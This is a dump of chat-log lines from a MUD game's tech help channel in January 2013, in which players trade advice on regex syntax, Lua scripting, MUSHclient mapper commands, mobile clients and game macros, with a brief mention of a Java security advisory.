T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: \w doesn't mean the same thing in all programs/languages, for example
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Wow, that sounds complicated.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with you about your shared secret. 
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: nah, it ends up being simpler, with less to remember, and fully-portable so the regex will work everywhere :-)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: In Lua's "regex", it's %w, for example. 
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: [a-zA-Z] is clear what it means, for example
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: [A-z] should be clear, too. :P Or [a-Z], anyway.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Ahh i see what you mean.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: well, it SHOULD be clear, but A-Z in ASCII are not adjacent to a-z...
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: so it is \s\s+ or just \s\s that got rid of the spaces
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: \s\s+
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Could even do \s{2,}
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Instead of \s\s+
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: ill stick to \s\s+
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: i know that works so far
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: \s{2,} just means "2 or more spaces".
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: \s{2,30} would be "At least 2 spaces, but no more than 30"
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Any way to make gskinner.com display the outputs of its () groups?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: ahh
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Haldrik: Yes, if the line is highlighted, it's matching, so move the mouse over the highlight and it'll tell what's in each group.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: oh i see, so my regex didnt match :P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: well thats just weird, its a relatively simple regex
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: What line are you trying to match, and what's your regex?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: A /w+ /w+
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: A small snail
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: You have your slashes backwards.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: rofl
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: A \w+ \w+
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: And those are group captures, either.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: yeah i took the () out to troubleshoot :P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: If you want to capture the groups, you'd do: A (\w+) (\w+)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli smirks.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: how do you get it show somthing a certain colour when represents that the following is a variable
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: /
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Dick Tater Fertain Tech: is there any help for S&D (like mapper help command) I need to figure out how to reset my gui window, its in a bad spot and unmovable to me
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: try xrt reset I think
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Dick Tater Fertain Tech: that tried to runto area reset :)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: "xset reset gui" should do the trick
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Dick Tater Fertain Tech: yes yes, thank you - exactly what i was looking for :)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Is there a way to make an alias that does these commands for an alias, bs <mobname>
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: so that it will open on a mob in a room, with backstab, then continue to spam about 4-5 skill commands?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Really R. Bigman Tech: bot alert!!
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Really R. Bigman ducks defensively.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Twisting FatesDagger Tech: its a kibblebot!
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: LOL! I just wanted to make it easier for myself when clearing rooms enmasse!
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Summoner Yuna Tech: That's... the definition of botting.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Really R. Bigman Tech: hahaha
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mushambo Tech: Anyone else see this US government advisory to disable java completely for the time-being?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mendaloth Tech: Honestly they are 100% right
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Faulty Bot Elrast Tech: because of an exploit?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mendaloth Tech: Because of exploit after exploit that takes months to patch :P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mendaloth Tech: My workplace told us all to uninstall months ago because of the last exploit a few months back.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mendaloth Tech: maybe August?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Jhav Tech: Yeah, I've had the Java browser plugins disabled for... goodness knows how long.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mokg Tech: same
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mendaloth Tech: Only time I've missed it is when I wanted to check out some new fangled java mushclient.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Jhav Tech: Firefox flagged them as malicious a while ago, it was that bad.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: try "bsp sadd" with some spell you should be able to add
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: mt
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mendaloth Tech: Mushambo just go to add/remove programs and remove it entirely.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: huh, time to figure out how to disable java in firefox, I guess... anyone know offhand?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: is it a plugin or something?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mushambo Tech: Even if I only look at shady sites through Sandboxie?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone have problems with a cmud #walk randomly addind get 679110903 3849701 "run <color coral></color>" to a SW i cant seem to track down where its coming from
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Nope.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: That's very likely script specific for you. :)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Defending his clannies, Mendaloth explains HelperMan Hadar that maze navigators are not illegal!
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: You yell "LEAVE Mendaloth ALONE!!" as he is being snooped by Book of Etzli again...
T3/r7/2013-01-11.txt.gz:{chan ch=tech}HelperMan Hadar Tech: figured it out, my areaportal alias was calling out function color coral></color> because i deleted alias color coral></color>
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mottle Tech: does anyone use bast eqdb or eqsets ?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}TiMeTwEaKeR Tech: anyone know how to script in lua?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: just ask the question, if someone knows the answer they will
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Zomicron Tech: any advice for high priest in kerofk?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: wrong channel 
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Acheos Tech: dont confess!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}RedRain Tech: try question/answer channel
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Zomicron Tech: ty
T3/r7/2013-01-12.txt.gz:{chan ch=tech}TiMeTwEaKeR Tech: is anyone interested in writing lua scripts for me that's compatible with mobile devices
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: that's a pretty vague question :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Sorry, I can't write a script that'll summon an aggro mob, but let you die to a non-aggro mob.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}TiMeTwEaKeR Tech: well I'm willing to pay
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: 1. You have to have mobile client capable of running Lua scripts. 2. I doubt what you want would be accomplished anyway.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}TiMeTwEaKeR Tech: well yea I did my homework, bbssh is lua coded apparently
T3/r7/2013-01-12.txt.gz:{chan ch=tech}RedRain Tech: actually there is a apple app that runs basic lua scripts :)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}RedRain Tech: have one on my phone.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: yeah, i think ios has lua support, never coded anything for it though
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at The Reaper Myrkul.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Being Lua coded and being able to run Lua are two different things.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}TiMeTwEaKeR Tech: bbssh can run lua
T3/r7/2013-01-12.txt.gz:{chan ch=tech}TiMeTwEaKeR Tech: and some other thing like void
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Really now, because I'm not finding anything that says it can run Lua scripts. I do see, however, it's controled by external Lua scripts.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Well, script does not automatically mean lua...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Ranrr: He wants specifically Lua scripts.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Ok. I just saw the request for "scripts".
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Book of Etzli Tech: You didn't look back far enough.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Right.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Book of Etzli chuckles politely.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Any bast gurus on?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: never ask who's here or if you can ask
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: nobody can answer an unasked question...just ask the question
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Heh...i have several areas in my mapper that are a mess...is there a way to reset and re-record an area and it's custom exits? Also one area, Kingsholm is fine but it will not keep a record of next as a custom exit for over half the seals any tips?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: well, for starters, the mapper has nothing to do with Bast :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Ok ok i admit to being technically illiterate :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: mapper purgezone areaname
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: as for next: if you're running an older version of WinkleWinkle's search and destroy, it uses a command "next" which interferes with kingsholmm
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so don't use the purge command until after you're sure that that is not the case
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: How would i check my version Abel?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: you'dopen up the plugin file in a text editor
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: I saw purgezone in help but it sounded a bit final to just go pushing the button hehe
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: type next
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: and btw, "mapper help" is a great resource...purgezone is under "mapper help utils"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: yup, it is final, it deletes the area from the database entirely, letting it be recreated the next time you go there
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: usually only when you have very old mapper database you should use purgezone - by old I mean that database contains area which was replaced by new one
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: trachx: current versions of the mapper automatically purge the old area on renames
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: nice to know, so I think the only case to use purgezone is playing lasertag
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: So first i check the version i have correct?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: since you're on a campaign, try typing "next", see what happens
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: if it takes you to the top-listed target in your campaign window, then you know you need to update winklewinkle
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: That is not a command. Type 'Commands' for a complete list.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: OK, then that's not it...I'd try adding the cexits again by going through the seals, or at least listing the cexits in kingsholm by using "mapper cexits area" when you're there
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: I redo the cexits everytime i get a mob there so i would estimate i have down that over 50 times
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: what does it say when you list them?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: you have to delete the previous cexit
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: before putting in a new one
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: trachx: 2 other uses for it would be to help a new character get explored up in an area using the unmapped commands, and for this type of issue where you think that you've got more issues in an area's setup than would be worth doing mapper purgeroom many times
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Ahhh...so i can purge a single room not an area? Then i revisit the room and redo the cexit?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: mapper delete cexits
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: in the room you want to clear them from
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: and what is the symptom when you try to mapper where 27664?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: run dsw2ne3w2s
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: "run dsw2ne3w2s
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: start the line with a ;, if that was supposed to be more
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so ;tech <paste>
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: "run dsw2ne3w2ssay sealsnexto e e oe e oe e oe e oe e
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: you have cexits opening the doors you need to delete
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: go to each room and type mapper delete  cexits;
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: go to each room and type mapper delete  cexits;;mapper cexit next
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: without the double space
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: or the double ; (although I don't think it hurts like the space does)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: tech Perfect i think that is going to be my issues in Mudwog, Kobaloi and the others as well thanks folks i'll try and sort it now
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so you should be able to just keep hitting enter (or up-arrow enter) repeatedly (but wait until one's registered before thenext)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: much better than reexploring the whole area :-)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: will purgezone remove also cexits ?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: every trace of that area is gone
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Oh ye gods yes Kingsholm and Kobaloi are to big for that hehe
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: I seem to be failing the cexits...would lag be doing that?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: have you done goal in kingsholm?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: read your screen, it should be obvious
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: make sure you're doing only one at a time...from the first room get rid of that room's cexits, then mapper cexit next...then wait until it says it's done before doing anything else
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: CEXIT FAILED Custom Exit next leads back here!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Mokg Tech: read the rest of your screen, what happened when you tried to next
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: did you move between the time you typed "mapper cexit next" and that message?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: just for fun...type "alias next"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Removed custom exits from the current room. CEXIT WAIT FOR CONFIRMATION BEFORE MOVING. This should take about 2 seconds. Custom Exit CONFIRMED 27661 (next) -> 27662
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: ok, that's what we wanted so far
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ninjato Tech: Straight run to Seal of Kingsholm....thanks again i'll try and fix the others now :)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: You cheer Ninjato on and wish him good luck!
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: A newbie just asked this and he is having difficulty with his phone:
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: hi I'm new here but I'm having a problem on my phone. The keyboard that should appear on screen (I use an LG Spectrum) is not visible. I can only type by pasting things into the text bar which is at the bottom of my screen. Does anytime know if there's a way to adjust the settings so I can use the keyboard?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: anyone can help?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: mxit should be burned at the stake.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: depends on the phone's OS and the program he's using...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: he says LG Spectrum
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: didn't see mxit mentioned in the question
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: ok, so googling tells me that it's android-based...now we're up to finding out what program he's trying to use
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: his complaint is  that the virtual keyboard doesn't show  up
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: right
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: ever in any program, or just in the one he's using for here?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: if ever in any program, where's he getting the text to paste?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: if just in the program he's using to connect to here, what program is it?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: he says he creates the text in the message window the cut/pastes it
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: is this real life?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: lol.. does he use blowtorch?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so he can get the virtual keyboard, he  just can't get it in this program (which we haven't named)...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Redryn Tech: blowtorh
T3/r7/2013-01-12.txt.gz:{chan ch=tech}SnailBot Anaristos Tech: right, blowtorch
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Legendary Gruagach Tech: should be able to double tap in the box, maybe turn the screen and see if it comes up
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: For me, blowtorch opens the virtual keyboard when I press on the bottom command line
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: I'd try going into options, to input, and toggling full screen editor or compatibility modfe
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: fyi, this is the "aardwolf rpg" version of blowtorch
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: no functionality difference between aardrpg and vanilla, so all suggestions should work on either
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: Abelinc, do you know if blowtorch supports ssh yet? I'd love to be able to combine it's buttons/macros with tintin.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: I don't think there's been any blowtorch development in a while...you could always open up telnet on your linux box tho :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: How hard can it be to add ssh to blowtorch, diy! :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: heh, it wouldn't be trivial if you had the source code, but I don't think it's opensource
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: I wonder if connectbot is open source.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ixle Tech: looks like it is
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: /quest
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: mis :-)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Forgot to turn off the quest bot, huh?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: /def quest = /if (has_aard_helm=~"Y") /questor %; rem $[aard_helm] %; quest request %; wear $[aard_helm] %; /else /questor %; quest request %; /endif
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: just my "go there and ask" macro
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: Don't want invis mobs, huh?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: iirc they even removed that functionality from the quest request check though
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: used to be handy to bypass all invis and most hiddens...not because of their visibility status so much as just greater percentage of those one are a bitch
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: I don't use my helm except at low levels anyway, so it's usually just go there & request
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: im confused, why remove helm for quest request?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: sorry to come in at the end. i re read -h,still confused
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: basically, at least when I started playing here, when you request a quest, the game asks you to "look" at each of the MOBs which would qualify for your level...if you could see them, they were put into the pool ofcandidates that were chosen at random
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so ensuring that you cannot see some of the harder targets could be done by removing your detects
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: you'd NEVER get an invis target, and would only get a sneaking/hidden target at reduced rate
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: since it'd depend on you passing that "look" check's saving throw
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: so a common practice was to request quests without detects...removing the helm is the easiest way to do that
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: has anything helped the newb?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: my s&d says No item exists, or data busy (try again) ever time, i just restarted mush and this started, i tried 'reinstalling' the 3 plugins
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: that was odd, i restarted mush 5 times, plugin started working on the 5th try...odd...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: works now tho...odd
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gnarcyon Tech: so i've asked a couple times, but haven't seen an answer that works yet. when i type 'mapper portal <alias>' with a working alias, in the room where the alias lands, it returns an output of <alias> - roomid - levelofportal
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gnarcyon Tech: but if i then type mapper portals, no portals are listed
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gnarcyon Tech: what am i doing wrong?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: do you use most recent mapper version?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gnarcyon Tech: how do i check
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Gnarcyon Tech: i haven't updated in a month or so
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: if it is month or so then version is not problem 
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: there was a glitch which was only present for like a week at the end of september
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: maybe some alias / trigger consumes 'mapper portals'
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Trachx Tech: do you get header info (# | area     | room name      | vnum) after mapper portals ? or no output at all ?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: and you can see your current aardmush version by typing "checkversion"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: 1698 is the one that fixed the broken mapper portal command on oct 1
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: but yeah, "mapper portals" should have the header box, and the bottom box of "* Indicates designated bouncerecall/bounceportal"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Grissom Tech: how would you go about making something that auto quaffs a mana pot when a certain threshold is reached
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Redryn Tech: carefully
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: I'd take my autoquaff plugin, update it for GMCP rather than statmon, and change it to mana...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: but really, automatically quaffing mana can put you into danger if you're pretty low on mana and go into an aggro room
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: the quaff is a round of combat that you can't heal or flee
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Grissom Tech: surely it cant be a bot redryn because a quaff mana script or trigger cant gain you exp or anything except if you any other scripts right?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Redryn Tech: it could be in conjunction with other scripts
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Redryn Tech: eg autocast, and if you end up afk following someone in group
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Grissom Tech: yes then it would be risky but alone it only is a convience when you are enchanting or spelling up or after a fight 
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: afkfollowing someone in a group is the illegal activity, not an autoquaff (that's just an accessory)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Ranrr Tech: It would be other actions that were illegal, not the autoquaff itself.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: I prefer having green/yellow/red bars to let me know when to quaff, and have only ever had a trig on the BLEEDING! message
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Grissom Tech: i only have a beep on quest available as a trig
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Remarto Tech: so whats the lua syntaxs to ignore what comes before / after a variable in matching a string
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Metzli Tech: Is there a way I can make something to track my movement, opening doors etc, then output a string to me so I can make aliases? 
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: what client do you use?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Remarto Tech: is there anyway to get to add strings onto the end of other string variables
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: metzli, with mush, try reading "mapper help exits"
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: you can program your mapper to open doors for you.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Metzli Tech: um, ok? lol
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Metzli Tech: If by mapper you mean that search and destroy stuff I don't use it
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: no the mapper that cones with mush...
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Metzli Tech: just looking for an easier way to make mobwalks than writing down my speedwalks on a piece of paper then converting them into a sw :P
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Tech: Cody pats Metzli on his head.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: you could use "mapper find roomname" using roomname the mobwalk ends in, and speedwalk to the room, and copy/paste the speedwalk the mapper uses? is all i can think of to avoid paper&pencil
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Metzli Tech: Hmm that might help, thanks :)
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Cody Tech: theres also a plugin that uses duckbats massivly huge mob database, might wanna look into that. provides roomnumbers for most mobs.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Remarto Tech: how would i be able to add strings onto the end of the variable that at the end gets outputted
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: note
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Lulz Tech: Mis.
T3/r7/2013-01-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: lulz
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Any particular reason why Winkles Search & Destroy plugin spams cp check 3 times?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: Do variables expand differently in a regex?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: is it possible to expand a variable before regex does a match?
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: or i guess the variable expands in the matching trigger line
T3/r7/2013-01-12.txt.gz:{chan ch=tech}Haldrik Tech: in Regex can you match ^ or \w
